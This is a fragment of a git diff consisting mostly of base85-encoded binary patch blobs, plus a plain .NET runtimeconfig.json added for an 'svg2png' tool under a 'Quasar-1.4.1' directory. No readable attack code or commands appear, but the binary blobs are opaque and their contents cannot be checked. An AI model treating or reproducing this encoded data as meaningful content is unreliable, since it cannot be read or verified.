zLB~q|K7rpRT5!+WP%J8EAb-y5utr&p`BrsH3Fdeho9kze%W|PQ9`w6U=+6IyZZK=BUzrI&=>}_i3W?sX(d}^M2gc zMX;kKW{xAy{4!jVD#ZNyIk~FwS!0!>Gg8wdf#&Lq@H;}+G}t;QDstuHWn=zPU#d9b z4PkBbMpf@OUW>Iv&?kBo_Fm%=C&7<^=kY_39;chDStsfqWz09K>XUZk{Hwc3JzMbu z*n-bkkZ)Lz_N~+TEZm<5nQ+6KaM^}X2DBU3y}@*jO=&A%Kk2o2jvVx5)gDS^yTw{D?g6UN2CFx!yiK2| zycExeEJqtaK7Rs?gNTMNm1~Tgf0dvvFt4hgK5p94XCYU2nUY;i43=YEWH#>CX5qcy zGjY#WDT1#lJ*pR%VeDIa+I)%anw?wTPeFdpQ?7O3W;M^cVA6QCj39`J$?0JxUjHQViV$xX z{6|5P#brKxHk*fePN@p+tyn}WJoqd*52swL6X8KI4<< zWAaIzA)mps-$?Am9juq+^yxMJN+A)Xt zXKE8nA$$hC_za~p{aP@=cStYSDR19N^rxT+KZblJJNWD`4`+J`&pKU_&!QK~jZY%S zXL$?df>?fb9sw}iXTign@4zJK@!3|V9PKbrV25J(O`v=`VS_>7nd(|5q)&Y2k%!5j z>E^JsRd|@aDMpU{E~v)wDab3r`}UZV1$>>XG+ZXCdzYN_q_r(8|G2lEq$-&63* z-3>WM+>4h(4sreUcHA|WVL1?Sk2(B0;1_v6o7`j=LXzqmb)z$Q_4Y z0CHO#azBBexEI$!hulk7;Q3|9opSj74t_)Mo9w8d?l^uYSI&iaMdLR$KC5xQmNRLb z(t7YW3m#P(muOt2@g|ME8sDe!5skwdpVjz}8ei7wzoGdVT93sVS7_X*u}kB+6-u8* zjf*wT*Z8Z;RrrfK{m*H9QsXBy?$nsm`S)x76&?SC#!-z=X?#rM{TkC6uh+OrV~s|? z#@8E_UfPb)p(o6ts27`z1j{nn)hkEUZ)??_`Jp@jYi)MTHlMc|E-#TTJv3+ zzeD5w8V5BV()e|auV^&sS7`lm+W$3ezc)0#sIfxpJyxLK5*@!v;|h%?{jZAEcu#IN zzOp^LI@^B(?!(|pY|Hxy@sNcVhi$+o4%VjA{EpV=J?j#^v5oOevM=2pzd>v*Lii2v zN^Z}rN#Kj9_}a@3JSp)K0Jld$~ss+7Fmv$hu> z>?rs=3ING4B5Vn zs?+;f(S~?*Tl}=V+bO-a7vHc-_VUA3*GJQdXd82UOlq(iAKZ$Ih2CrMC9cG(9ocwG z@`gk#zPc-lw?i{7^H`ZhvD^Bx@r=~q7fu_k#EO(>jr}Bzs%8b!<jkQ{<;- zdXxC|i+;WBJt={=vv>An@oC}Z4M_WH=$cI?fC%rPH=e)}ttwnZQ;E8sOdX%RN9pU* zeZ35*>t0&7v@Rs8w?G1)223R1B)lsgO*w-Lb5JkielrO?y1gw9UCyjSp^Bn}UIK+LN((a}u=(yI+8Q zAuJpA`Z6ZAd0>?@O&iTa@2y>dj)X6SEm|z52f0=3Z1A%J7@w&AnZ6aEz@r zpQ^ziz-+~5i}7iwGX{UVxFw$MN%Ugq)^8(34D@!*B-86K&O@=dttUK>uP1 z9M_VMIZ`edzgG6fHsRAu(&pmF#Vz^oYW*wSW~>mel0%~EOIkl6C%>~bRkY$WJh$@{ z?T%-}G=UFGx_qid55AhmFLj;6Ua17}D?7e;+0KtKs*%G2-`d@-(`n^5eN+H0pelrI zD1`x2dCwNePo|3RSfG=}`ck5Zl09v$?S1_IRKJdYKff`=E-oIV3!fgsk9;E9hGA4Z zA^ShQ{Gyc!;^RbJc-J*XI`g%=R&1QXhwWPB*Cg>fzrcqy)sSmKIP%GNohwJY4r z*8cY*@9}vDYrb#gzB~D^m)ooz7(7!-^?SZw_wkF)6nb|5Z`=}mvEu}DQ3uPS%HTJV zCEK@4u?%+}jOFAD!ylYs{q=3pU}O4^KWbHed#L`LU;gzgKRdFl>fhd3_syEWy6s5g z=hgddxE{kJwyd$ey|MnXy7;n&j=F}1OPAGM9_whRTN=OY^5yZ%JC?>mmnlhg&TQ+f zPxW>>-Wco*ecS!E1>Uy6|H~FA(S@)5f*NOxEtXuh@_PM^7+!(t}*-vhV4axRIPpTkgDL$F}W_26jQg<>ryi^}888wlOcVg+wrN*T4t?TtiL{$~% zW7a#OPEy|Mud0z6g^t?7iSi2uJn2k^txl^{M-9tQSkcMAAP?H&St zL%YX-IqeSO9RPd}fQ$?Ln;Cdq3hD4MoRjC^SqZrLP|_wmLdkt=5#VP)!;}Hez;8-) z^S7mqpb@wSfL{b1qd$Hd3xl4An|LQk$^f6y?or_1gQ&weaPDj+69R4nG2c<(SLZ+{ zxW|Aq@LQTpAGlq+`TN>8w0j)*$XuoW5b!w=^A-3_kH70tAL3RJ{Ug8!wVT^cavh%Izc=$0eT4jDd0=modXsxfX?tIUJN<}H*p1M6mI7}-Z=ao0*%3+ z_zBRd_zt%CFz68coqK4V`)j$+cJ3lPXAc=-3#c4h--urX z&4qgmcmyAhxESsc;Byz_c?0?be_4lBX1MtZ&r3ioZwUDFOYlw&`iF$5tA|bC4goK| z6lKTmmJqNPMEMl(t|qiI_;d5=pRb2La1R0RxCS~*hd*#Hh;`@OpUHij^RC6?-H;(( z1bPT==iW^2*&GHv27lt;fS!iixi6FZH5;x&yMjOQYS2q?Hv?Y>u^(~MMHKhDdA!b8Tm@o#3j?`d@iF*2_bqb& z;=9`M&WTD(;u^Rc;3obNXbs%X{e{lGhunkMg>}N6kRjd)dJJyjJ)lEy6L*51f!n!< zkoyfk6vyxN@FzYAdIN4Ew}X|>M0*CBJ%z;j4%i3&#AZ+!ZsMv=@N@(J7}N!~b1xwG z2);9cHUod+O3>4A6R!q6&$vLd*N^xkJZS$q{E4rEDrZ>|e*t$5+}vDx5oitEA>c|7 z$2aHRJnrQ?(2el{GQ`86d*LSj73eXzM}b%O!d7rM17{}nI1Ds^-;Z}Dd2Sv!&Y!N10Ve`+A!SCeNfyFl^VpV z-#Z`=903L4CY}IszY}rMM__-riOWD+;U-=K>V~@+Sn(+Gf;#~G`JbVE!p%pmcYx&h z1~mJSh$leaxkw-QDyRx>=bj_(McN9gg+H+a6oxwm{OeD^j&P3x&v{H;3xdGXzd+xC zzjNOZ_Y*w=8i7CYqoC*ECO!c=0k?B+5cdqd|1Z&&;7{BG!pjH52=Ia-q=R}10k?p- zM~L{P-RReF6Tb#(f}8kvpe=B7^V6C=$_~xIS&ySF!k>?tPk?wW$N}%#hyDfs0pP@b zv;nwtz~_dA5ZK!?2K@PxumjxUAoMwc_6Bzdxb~>-zd*AWhA2LTGEyEm3-kuu#Lt1s zv5kcIoc1SvL;H^b*L)6RDP)>~yFeVzhk(9k)OZyDu74KoiZZ|-jN&>1cMjP3CDe(#MB9dY5P0ve&>rXp z?(*Q-Cb)-ypD4oqO}P0kv9-l`z6p&?x--flq6H;;SIW%>ftBQtpd^p9N9RW5DLwuruNkvmp8tKdIeA!0&4J zOTb@%m?kzQii<#$4+DRt-Pr7f>zq1w4)^oGSqoLZA>ccU+{>p9@?9Vmcw< zD(zka+zO&Rk^4^QmitdG#@XL3roR*T3GLhLeuqV|KRS zH}JEd$KZbqxMH2M37>i13L1fK1Hfn3!~T$IdNCrtmMegFgQ(lRz^`lf3&0uIEB{Jh9K<%$1^gO_<8a^xvUT_XzOc zwL5&HM|==;3i)!c$;z8lUycCVKs(t-fcJw2;T{2wg1S%^VqH{~s~I@EO}WFsX3zj+ zh$rL9pD$f&2HguA@&#GGPUYqcj9%4lzW?UWL2sZed{@Rh6Uxn(Tign|7;|!NkpC5k z>2Q-B((yD$#z+TWG%JTN{|9}MsFn2+d3hu4l8`|5rH@vrbZ)9)R-qhay zy#sr9?j78_YwytB;k_e!kMAAZdvb5^K<$ChfyM*j15F1a2f7ZV4)h-wII#1;;DKES zh7JrL7&&n4!03VF2gVMZJTQJ>;y~`esRLrzKO7i7`Q*ftr=Ij5tU6eGu<>Bi!7T^7 z4)!11d2rXk;e*Ex9zS^U;KadG2mObt4%HrNJk)e(%b~7A{fBlQ+I497(6K|u51l+T zap=?`|KX~`wTBxIHyz$`xa)BL;hl$f9UeY>?C|l!Cl5~?K6TiCr0PiRk;WrUN46a4 zI?{h+=aF4UhL0ROa{S22BNInX9q}KnI$C?Q@o3Z0El0bK_8;AObl1`0qsNYl5zHA- z-DA*W9Gc{yi#Y5*96)|S@5kv*e(#`cWw$?Xx32ObYT9(p|dc=O|t$5W3FJU;mN(BmVIk3K&3`1s?vi`*O7 z8$_*#Wu2!`--D>@k-ej+>G8d}y<%TrUvOV&UwB{hzR14RzJYy%`-b+7>>J%Twr_l2 zZlBm6*dN><+8^HEyg#x(wSQp$;QpcgBl}19kL@4dpW81E1P%nzTEr3mk-(8KY~Bp3 zM_~69EI$C-55oFGu>S~ZVD#wmqhm);9vweAaWqFOp)xT30hFDphJr)2uvR1N)dY*- zZh9PJD}w2c40XYR{jlLqSP`B%*ci|_+&sKxI5IpwJTZJ~SUll>BJf1j6XKx%U;r%< z0%6SS3A=~)okWRhQI`Jw!zjV2{Xw+x6x#I|+Her*3=9tspBxT6(f9-+{4YDavOKuf z1A|zesRF_-0|0rbaJ8qg`3(MDllU`oRk2EgXOj-yweUY=HNbT}zMtBPGruaoNvy}0 z->wC}9_Mv%^Z2~?XTQU)Mz}~k6keqmnXU=ZUSf@ux?b=bcjh~S{BD`~%3Y0&)q+rd zTQ-yb3L3wBs*VvaE|17*6TTB>zO{UMN)yPKZ$veJ4cO@(LINQ?&xShI8#2VJnCEBG0_JbWF6XJU8TToAv}GESs?OD;yZ6jzR(J`4UC;v zA{~BPum`o(jZy^B{@j+c_W|a7R3|@TzxBEt^_)MKqI%_q28I2qKBz%#{oK(!DD(?OpMnXr`_w z(Vk9bk{#JPJk_`&n(0}xZRx@wo_4tDeWe`c$cSnLVjaZseBP@3tO zoDAGCVXKsum{Xhz^%U3;eJrklIb9#c?Kb-GKmaPR(TBy59k3vq032fj=KUv-0*gUs RGVn+lU_OWOfyrT5000IpoUZ@? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json b/Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json new file mode 100755 index 0000000..d784515 --- /dev/null +++ b/Quasar-1.4.1/svg2png_tool/out/svg2png.runtimeconfig.json @@ -0,0 +1,13 @@ +{ + "runtimeOptions": { + "tfm": "net8.0", + "framework": { + "name": "Microsoft.NETCore.App", + "version": "8.0.0" + }, + "configProperties": { + "System.Reflection.Metadata.MetadataUpdater.IsSupported": false, + "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false + } + } +} \ No newline at end of file

    Ezo&1UozR^z*zGxDdgGIq{;6>0i&vf) z_u7u~?15!x>^uMK`iG_k@2r0N#p|B)&2%JB%$VTI+}5KxrR~1sRehUN4>hKp!ww5G zcdN^&-S<`VJ<}iCoH62sJ(rxm{*(*44l6jK$A#}dn($&-#o~SsAH97;r+H@=-!nP) z(e!^T+g#nX==ht$W1E`}zBMgl$QKWwF!)X~4{*za2Y)T`m_ z#H4q1sAC)|HUU{Dtr5*2kt^SuUPI-Iqo%i0hpwqbgB?Gc9*mc5|n=*@U z=rf~klfUTbv?<>Gq0QBojJV{{Nf+$8zPd1wlYesOm+n39^R+#WzxS8Mzn(m9%9C#u zo|d!zobk7PvZr*yr_WFOrs2U}jX#~ay!oMj%zAL(exvDkgBVTLEhZb>TV_g}o zDK7!{g4ILZn@D*WsK3OxV%zRbw7Lr8JDXh44cil~uIZrdk(ko3TjA1KpR%k|tgD^P zi4Ko-n!WC;i;c(MUodvSv=?u9xY&5V@Z6(cx**}QuWmc}U3}HLr24UW7lu+(u(pS; zm&t#VCQS1BCNKB7n`2zxY-@SxnwG!$TAurF(MpH;hF~_qnzFyGm1bAtoWHEZW3MeU zhWm!9Xlcb2B{&lI6c-hF@`~mkkvB1W(%8Jr$vI;uPRY#6(AmX0vn$3+?PGD;UtQ}d z!nLT%vcR_1q^Z7E_de{%yye)DnSJ?L`#yO;W8*UF<*wOIe&&wM`u`RJ=$6HHPqPW& zsIlIU@#*~-Y{6t?Wlo$Z`!UjE+WWt%f56&p^?K(v&#iH>1-mzVm%ePe`^wbgFZtkw zx$C^s4)ptY?pav_Q(`yeFR9P`;?qtS9sSbw^uPYFfAE`KX89Uh=A3@>Rd;RdoiiYQ zK}*KCORv~}$Ibo!di>Ybl>^^fv}WG}SHAhRr|-c|i7$H=y|C@}SzjC*xBr{_9~ggo z(zc_zcX;OG58a;}*zwM;-AlXVbX@iL{_6&Z$M2Z3ChwWk??1od^QFuF?K|@2{hxpO z^LZtoe>v#R)}040zxw&iwF5719sB0Dk3JR%_S+b{bJMOBJ(vCCj4MvNci4^Rzwnn^ zKm9KE+m2`N8F29DtFIh!=cen9>z~}?lOM-qy}snj%lw<>9vQ5;bMSs;^E zq4FJ<9XRsDtslN|dTZe6{Mnt4nLgp3-nYH5`;>-{HoSAod&4W2y}14Om%d*%^rR<_ z?{Z|#(yV4r?~f+TiMcj@W^m)ycf;O~9vQGYYfAmBEqhNmYD~WyPdWdL9+xf;_8PnM z-!VCTUhP`-@0b7hUHQlVoK%vxW&7ugZ@aJLZ=YOTJ?Y1W z88r0iw|cBtUGc!X@ymi!M-DtD?}_OjmY#9bdwVlf1M*GVDbk6zDC>;>Z%k-`HF(A# zzy+V70dUX(Sn?U0K?*)o2-gI}9pGY_P)W5?mUmCNV3(D`n?J(Szy7MvoRVD-a7F|4?j&jRJPqNO*{I7Xs|kqp}eEC)KuAXoWgxIi3X7y4P5v?CUmrf zIP+Zh-C@D8+3D`&HP?y_!qu7%FAY-`wkKk<*-L3LS`bfF?C#jf?lHoNrtuW1LEr@7R$8ILrq2ycdAVIpF2 zn8ry4jr}N{??wY#SosI+d>i5{VgtNAAw6&BfM9*#)>P1PeImNv0l?J>h^{wir3q18 zZ}w*$fxM57J(ywNSjcQUckx2S{LQbIo%w3G?>y_HmH&Q)=SmuEK6EtgWY+z!&p%Y` zJ-%X|>f@h#-e!k{b7%)Pxd{E<8QgQ`OM*~W*%=21$Juvc#Q(?qj1xDVp%Ug@^4>|{ z#QOd9$Lc?s*GAdPe41J5H8F@`y#>GcSN+Py)SD}}WT9QEO{iFwd+FhvpR#`}ZcO=dY$?~Ywk3P#Nv&gXYTmK6 zVYZTm!dBI%DQ~`i*m|AWUKF~?iDY7tngU<{a#UBVs?J{%Er^n zIoDY3esk>fjixO{XJx-%qaoIv*KD+Y}}77oAe#3E%bpx4;hShe|> znWUIS8CEYpxW$oo;b8}lQ{9(qj;ZPzq~2Ws92#qESW-8@^%c^@6z~vnCRT>0vaNjv zN)r6g?w_%N5pb%`A_^`590~vn7?cAG7swC;u&>F&Xs8ct>Ty900F9+`0SP81Ze1qe z_$NDOo8a`$L>bx>7;4%YwE52eCF)vyp4$d4mYsOykYV=It}n_#?5vj$IPbp4 zQqG#Od79vkX~~)4U%&k`R9c*);eC0+@zecxpBDHUHZk)8`;MI86g_!hV-zx!gr)0> zJe1VL=w%=UA8-JUCGnyRDPRm2tqDHQllx}trYm*})_yFNKXBrzq1LCJp`zO^arY}d zyp?az_zTGZCVj)kR|bvG4H};qH11_lsJ?9@#60EvF18b$llR}KO=FI-@>M|6`fb}36KvCW zASX!RxBzIJE6=W-OQ60*%&q^&hqph@`@x3N8`j=)zVvkHgw_W) z+xMnct5iR+!mHJe4<``1kS*YxDO@ zRh+CEuhftc3x_{~jMDm|(+CKcJ}Pd)B?py1v`zQ2p66{=6T_DiEgVv$LG z?LU_?p5o%?XM*s zTOWDz%GPtIXPt^Dxv}y5i5#h2{ibvK>b^BbZ#=%&_*Tk8Q?Zv5zxL!Yu*cZElg%`e aYq>1E}pk~<+ zKtwbNhk^)#5H1Dp0~JNZ0}m8~zTOb=zV8Fi@cVwBr@NV~Ao<Hh5hHAebGhL)&1w3-#@(OqW%>Z^&fV^N&OdA&pUsxr6s$2#QMdDJI;%m zJm;~S?u?^$o^fXN=bGj@&f>sv((18e8R&k{XW{8M?LxaMHv!5oe|O?N@UtHbkgl_? zrdR%}KO?95c0RQ*nQdY_=ybc-X z?~r;ZrT&cc^N+H*PRjYpBTde<(;t2P~I$4(1Tj-=;>Rs2u$JBYQGar$HLEb>zpb~ns2i!Ss zsWWR(wt-t+fH<>Ty*XPQuaa|v>RxbHT(1&E6E=^~^#(A5xFg#p9F)kF$IH#ItYqq3jfL4RY7L&z{n1 z#gJfMc0l%_GB)V4@-ER=xHwV(IS6a8O6$Lqapg3ns2t6}P0M`z}&+PSlQ5qTs zd~v72Zve+!+i||_xXE@rVmp3rJ5o&+w*lL6gYEdG?bzG3!qjZXZMNfUwgU}UUFtn; z$LY3XqwRRacKq0OWPFR;-nQdx+i{)kc-(gU-gdO5EN(~JjyKwlciN7pZAV{VF*wwA ztg;<<+m3J8j^}L0ZlT5PY};{{?f9zg__^(vo3J2Dx|+e>Z7wYKAN+woW1 zv2WI5aIWpR+IGC%c6{D;{MB}}9aYDrAlXyW&Z9fQ9zez)KVS|~fYP6KDsD-a&D9*kG@dg)I(@M+5>Vyv zmWd?#>iFoDZ($C~*mGd!&^DhS4cQLIGshyvO1rNtPu6sFm;7Qx7LgCWb0K)7$U}-o zqmuGSEt?;@Darg;sB9!j5a(0mPAxSrLR{uJ{KQb~#W%+jRTinGTJDIGabJcfOwPPN z&{XoP7%3pP$BGe9jG#e`TogwraWr?hu~?QEzIid&wRA)}<*9%#sf!XsqA(v}mpWmR z2iZuOBp3GTQRabYj(3s^h0`>kqTCDdX#)o#PZH@){>< z2YTZ%_dLzLz|%lcsd%Ecr32k=eeIb$5>53Wl*B&p`Yb=RzOYhG*SvT^K~T zLF74zJYyt!zY8rzFTy8M`Z+r1xL(mbD5+uo90^|NZ1U>KGtlR3d(%1;O*ZRSavn71 zk*pKs${CWMAQ_tJIkdLshvXUvSJ&$_UrM-tp4=C^p5LGCpW~SKXbIs4?2{7(lW^q* z8RBrolu#3gJkj;M>W7dzuliy9nh!EP%U!R{HK>_cJWj(yVP`62LltvSB6-(O)pNi@ zat}z7>zcQKRW>j$L(r-RI`E1`KUIZU5Nyo`l_01hrP-%g<{ZDf&Mc>AF{`KJpa^~Q z4tSKjaGg$Iunh7p0p_4160e;#Qs9@*Ss|h%o&U@ zU5erho$eW|o{lr*nltgre3T5~rrw~%lCsnsMD@PD$?>C7^UPWF{#hx6o&~dA!`$nC z?sCVO+u|B#qBw?fW;d{`oeke>Bdt>YOzq_S&FAXHt9cMQurov+Gy!PFvJCDFw!(F8 z>{>A001et;Im|-yLMeQfk@Rw7L8H;AN=%BN5#f{YWS-ON~jJ^56pWJ&c{@Z8#*PgTNv zO4V8Qq~N=uD9k9eCd~Wt+}fG01ZnjbR)R3808NJa|0<_)w@&Z5&hgIWU)8$cq6NGD z+e#mZdXcJK#jN-wGpaBzCAtqK&f8_z*5q><=L;ymY%qO+I|KEQOP> z9@$`^FuVf(eVI4Sg|%1FBPwh?mO*Jl*F#@8lG91z`g5d6oP#bQ9&$$@j9+O%*^n?# zQlBxL`Wl|@NEaY!Yt7e*FLpaU%lS9gyc*Gi7lXR~D80L>(QZE6%lME?jYyVE?cLxr z+JiTx&F%=4${(2Gj?i6U%^@KT#3)~>hti)S4;}ifz6TkK;V1p7j|$$g|AX??KRA~8>1v#hN|fI{}5$k)-p-r?mNqjz`@ZTU$cIA4%#O9 zgQhIU%i?_M3>&%PynYU>gW-EoKHdiO|4jzQbTIrV%NN6&?Aja>f?BB?FlNKVI>z< zTEps>0Sv&P_#U25g>nDxJ5#316oj)FW-f(y%_v0I{G5w8po(!FM&3|Qmb>PE;4$t; z>MqHlZLWsRAuNhC&(`<}dJnJ;5tI&DHxqz=IZW41sr9z_A3-G$&>IA_DKRfa3_f*8+|w0Fy2W zasq+(TfmD6e82);Lg0fIa3X;ZS-?pIK5PLe6L`o1UP|C27H|rIk6OT~1U_Z~O9?z| z0m}${+ya&p_=E+VM&J<(co~6DTEOW9K4k%C5csqOoJrtO3pk4a&?LvsCh!>xIETPz zE#O=NpR<7T2z=fG&L{Ag1zbSj3l{Kl0$;R%R}lD;1*{ZW zz^e#+#{ynW;JX&^8Uo+5fVBj^Zvi6&p0a?;2s~{8qXf2Ez&Zjyuz<@6JYxat3H;Ck zt|0Iu3%HWNk1gOT0za{U*An=t1zb(wXBO}}0zbEaYY6fnQm`8wmW` z0^UgAHx{sgz;7*JBZ1#pz$OB}w}9&i{J{dQC-6rLxPic*EZ{~0f3|=(5%`M*yqUmX zE#M{sf3tv_2|Q~7Zz1q^3%G^AKP=#_1pa9Ow-Wf51>8p9-xlyT0{^jq+X-y5fIA30 zX8~^~fYDddT--^Z$pY>o;99_D0-gojO~AK+dkA3BK4E$X?K&HlbdWP{$?I@dg5UbiiBE` zP%9H^RYJWop)O3QixR4uP!}iEB?&d0P_=|wolt8M>e7UIRYIYfMq2!ugj$FTrPv!O#coI` z_CHFo<57w|j#4)y6#E#(*tsahUPUQ(CrYs&QHmXiQnw@&y9~wHS15H`LcJ}aZcnH? z66);h6TPC!y|5sQVJ?eo$C(@C$>4>272FC zQgyM664YhkX1r_w^#tF^E*+C6T;g1$-a{dR!;cWgh#`8Ze_GjnE1pbbn$Y0-hen&O>^BlC4@+ZPi zPlR9DD7@FT>~J6cn(-g%A^$@>%Ux62o67Ce@sl$%F%_h1J&k#}e;lWsR&W_xrW<2_ zc3LO!cilw(CdiXx>i(YaW}+ChsU1ccn{ZToiWOXZlxjKt_71vd|1p= z%g2+oxx%=(v3Rv4_8Ek=HZ~$R+a--T#CCvqU41+xj?>mhX!BUvj*R^U*fV4`UY^-6e#7}tEvwzehd(0r#kPTM&(uUM zmNh1)k^AB}TwES}?hgL7f2YQ`qyGe^?dYO7Tu|E7z|pJLJq^X4z?8DHjcx;PY3m!> zXtc67#h%?@^a`}_?g)R`&Kv9*X0M=#x@KXH{F7|C$F!wyPPmvG7)o|1e3~A=%tiD1 z9)U4JC%pwGcViYB_%jUrb=y0X4pta-4<;BNu+#W}k(R~GZ)5P!O%(h*4FLUPxO4OY z+Y-UAZVdidBKlX8B_vxG&l~xy2Wta`jKJ3NKEm}{!tG={y;eMD*qLjtO)}>K8^`*|86@Xi^>pZ4f*00FUeIJdWU6cB@}o2_-S# z6gJ=!I14A1Wm4q^*Efyl+C|~Mt?8ST=cIZ8o;TKcHfH~V_=VQQ?`a&K?1_Qs4r}yJ z6CKx~@b9P0-eY`iozU09#Fw--&(PCY zec31R1Gx+HGS2=?0REVUKPPE$8zk_m|3Vw4bsOc^nraPNL-Sp-x`>V29kOpovewl- zCayLnuIyCdzJwoYo@Hde)bogMRcpA)d@qUdJrW}oWEHk5vH9bZ?H`|P09PfkGMzc+ zAV!M6T~23fx;0~-N@6a|%O<=;2+?-eP}{N1KwO@>e0BNiN~tR)F7s2(k8JY&nDAol zV*+SPtO7T6dy(6Z+h?3}r5o!|qLG2WX@$wh z5q0LIkJq^7>~dW5cOtG1D=y9LNj2a6?s??)(}}L_s4V~RJh*R7xbH-*{Szbj-?kG! zPGa22S}U=#Z8}hD>@L??X)At`#7g;9ANH6~AHwcKfObxn+{&fO9 z-(FmM??hZb8yDA$Cd?z&Dcew+r0)2B-D)#Gih0W(GuG7?Ccpj`#}nmOAbZYUkhoIj z?^a}y`7sMATVnpDstw&pJFs|Pn6ye~Y5r-+km%wIqaV-OQ6VnP+ZQCRl=+7pS)7kA zOk6ZN%)c7rdm-!epX{iTe0+g)^e=W~aa;9*;l+ctF>pPy}$q(p3+-^MXD^e?e(v-5FHY}+)(^*bvr9gyUhH)tQ@wj{0tjqz@; zUz@lOZHPBzemO4U7L7QLH`dXek9Xq!bWFUzvf|y561F`LHTikWe}_t#e;(X_k#OHh z)2bkuI(FPw&(j^$DH-=UvHc4>q0vU$1wLYqfm!rN4**W-LZ~^ z4pv4I8=#&J*5Ci7Znt9mzRikW>XPkAS$)B2nh{aT&yX-zS^ zWs2RYahj&n^i!J6eBIVCOrF@|x=Hx72FmEZ9Wp|HAW>pXkKIEgfRsfBUt#DUzuu~s zy=RIL6|*-~f|-+dJLt)Lzj|)m`?PU>BsCDq1W-9_O^qyeqlr;`2bMHH=J#fLIA|U-Vm@Jv zpdAjnNxv?rUl+8aiE}*0W&LFTjAf8siV@}4O?ZNiWep~lv2iw}UaRv&GlXN*BHw$iD1*>=v5KXmuMe&1G*e2-(07&~ZDBN~E?bqczP^qni0iRZ z6HQZ^6gcC15zOmW!3LkL$W-Ny`uGZ?q|I^YF2*M&XY+({>SvXl%Y)r1%Y=iPFwUXx za=QEpEuB6gB{fO^_)5Yt=e9bi~d0o-)g=v5SX@R17s%RNew9aOkH}f6JGVtG$ zMNHc5$r5fymW*@yF6uP8W|`XbbyDBgNqt`?_0gfWOsI)0OY~>YBQDVsUl%j=Yc2@D z@(lgHKST)9i>f)Y(SVT+bu-g%m0PgCq^ihXkgI{8ldHQ7l7D$IKx@>n$_()vi# zA&)b;)SL$R~qC=PbyEdgFRLMXY~Q~YUeXC1ED9XI)|_cVT;;XG)q{oqp3Su zB@t4X*Wx_(|EF|~wfa6AM14_f(23Qu8EC9@%fe)d7F!*rDbjo>(`;vg01cTSh}1RB zhySZKM$30QO1abdkej6Nwf#VUAb+tYaOl}-4wpurYj9l?yl+jTa%wk#HYmqEbmMq% zIZxMSkBoS=IoHD1&f6BKnoK^|=_Xrvq@K2hh$>w-uhS!SjmUJiM#?Z*Ga_y1#CdS^ z4)frcoz8<}lRUWk`Q$;A1$fBT6YZU);_htvCvLXXnz2klG%41~s<}cF7|)f)a|ZSG z>*qIaZ(LLSVLU*?oWU-xdp;8fjb?o;+Yc!bmoDm>jYOyuE77+tV7}zJAQx)9IGBQ{?D0*NpLSW<&7T(UqiFML(OE)!KHNO%wP! zcbu;`PT=eOalST8;Oph%e7#`;Un|D>+Bku)RpWeJO9b_sdUiOTtS_AFI4-e`Q{z_M z<5^p4eB}ozEVUQVY|9`~rlS*{)ZHENjJ0(f&(5(tb?>*f$@r$ed(ii$FPLfiI0y)) z4i&ky0|?+OMACu0}4>4yWG z`Q8?|O-4K5C8twqZp6q!|dh9U#yJiGl>z~H! zc{VsVE3MzfbD!Zp@HZEH*IkY9GR9vpySrP?CBW$%Je(vKR_}ov>**n^-b?azASHnA zvrKpp-z6Rl5T8B3vUeTqt(9?>J($7x_+>cqBt8JC_5`+8#=3$vhH?Jen%Z2RMs)fF zfv8{G3v=3pVL~Tf!`_0xy5qGq*dX*wl+{4@@JpenF@()x+1f1NYfT^2rqUj_R+z9_ zi!3eGcH>KqD-U!XXCCsutKb(4=#r&9!*CDZkOZ~e>1*A-A#(dvu+*b&+LV43GGV>E z;!n}MhI>%OZ_!*1y166V)^$9D?FiH63IL-|V2)2bba#XuDYG6}OJ)nb$ho*?He$P% z&O#{OaJWHRN{?Df$&n6uzsFpLP&u7ARBy~U zw6>9-Xjvhh4@bTZ(aapgUucHwe-c*S7Qj4%;)IK>Zb^#6ctG5jfnDtKb=jSIe{d60o!Do-t71 ztgB4e9%;ksjV11zu$!O9lbblso1>e z2Ke{Wce6Qe@o}b|PzB#l_e5mMPfv-+27z%tQeq=vzJsR2Dm-PoT1T`!4NrAP+tW}R z)Ez|r19i)ux~SPfY|ZJQd)bl;P#$devd*U<`Co=p~X0UJ5wQQ)8@NX9Le&1m*S8U_wa>2rVRwg3w-jUvR@?WjqSMhoXZKw_fP zqqGmg*fNRd=6YJ}O+_QSWB0c?0}Xr}GCK90A4Q+mF&yyG#ICv7~ zf$nlLW!5&WVoaCs95*SSNq4L#>o-{PsejG&N-M{X(8|uU>`T=bO9R5bw}`k}*nXhz zysEA(LG5A|XOv5`TrOol3cOVQDHm_~ULYOXKmkUQ8KwBJ+JSe~K!Y^394r!aC z%$n2T2FxnEqilQ9rLkRHd7>^(u?x_R;QXyi**%t^Lu;d^N${dFVuxtfLJsK^+Z|V6 za|=^}qn~c#lXk#`kR1(7-bJa@=XBlb!|>3Ls)>`n+RYloq;JtBBRZK^MQRR0YGRAT ztzCj3%{;ozl@kkHJ+W{lLZszfMO4>onEbTbEgsM5(Y)sD|LZMY4Vg_{a%GNybI+>G z@L#d~Cufy;&OzWwd$cEu6Q1}*i1yHX+U ziG09}KedM20?PR^iDaCWa zYOUy<+W*Hp?Put@eW(iqaN2RYseF@31xy%;plyebKy|QODL1pGr{y=YF_U5yL$8`mWGQ;+DA)vJg!2WD^ghQW( zdRt#u>Ts~={w~y9oL?zRvY{*j^Rs0hJgSE;*7gAx?W0-ur5$VFVcuin(g$oHDPqx6MIXW zUoyd4ft`UG_7rkXb$SnHw`15H@l0H`10EHPR^99Zj+PK}BdBSgj#C>Q1v}{W^Az4Q zi`zVWTMxQl>6`WNKkXvhd2n~Smm%i0_{#r!Hi?qITqituO!^ShSCW{D^8$kg zuv`i@QXg{R?3PL@qbsz{SQJ@wYD&7`)OV_135W-{1*qkK@|4`q0rZh8?s$#m1c2jE5H zQK%@iBv~l5rc&6~K6ggQgJ+-FHjSzH?zXmks-yCt zpjXJvP@^}Zc=6#ZAI0cJ^&q^Sv$dGV(W&`t^-^E#$21jD zO!)hjv+|%O?_CJ%K*@uQnO=$z8Hi0q{?eL|D;gX|C;w5w%jf@6hv1}x&`{OMSKn9^GbdmtNBYj_0JVfkGxziZ_868XIpza6f* z7Bw;#m_v{QdOmc6-FgK1M|QAh7SV5ViZt~NC$-RK$k$Fo$-*k$)`gxuQUq4feG!71 zqMe2`3YdOiee|`+jj=j%S$$wL_7pwfNTb-Eg4)lPOL&te<{vYizN|ts8cC)}!r@*w397ZMaGl 